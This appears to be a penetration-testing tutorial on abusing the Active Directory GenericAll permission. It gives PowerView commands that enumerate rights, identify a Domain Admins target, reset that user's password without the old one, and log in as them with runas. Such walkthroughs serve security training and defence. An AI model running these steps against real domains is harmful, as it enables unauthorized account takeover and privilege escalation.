GenericAll
GenericAll : Is a permission that gives full rights to an active directory objects. If you have GenericAll on user object, you can reset user’s password without knowing the current password of the user, thereby escalating your privileges.
Enumeration
PowerView
GenericAll Enumeration
Get your current user’s sid by executing whoami /user, import powerview, then execute the below command to get the list of objects on which you have GenericAll right.
Command
1
2
3
get-objectacl -resolveguids | ? {($_.securityidentifier -eq "[your_current_user_sid]") -and ($_.activedirectoryrights -eq "GenericAll")}
below image shows the current user usman has GenericAll right on user object ali

User Enumeration
Execute the below command to get more information about the target user.
Command
1
2
3
get-netuser [target_user]
below image shows the target user ali is a member of Domain Admins

BloodHound
You can also get thesame result using bloodhound.
below image shows the current user usman has GenericAll right on user object ali who is a member of Domain Admins

Exploitation
PowerView
Since you have GenericAll right on user ali, you can reset his password and login to his account by executing the below command
Command
1
2
3
4
$pass = ConvertTo-SecureString '[Your New Password Here]' -AsPlainText -Force
set-domainuserpassword -identity [target_user] -accountpassword $pass
runas /user:[domain\user] cmd.exe
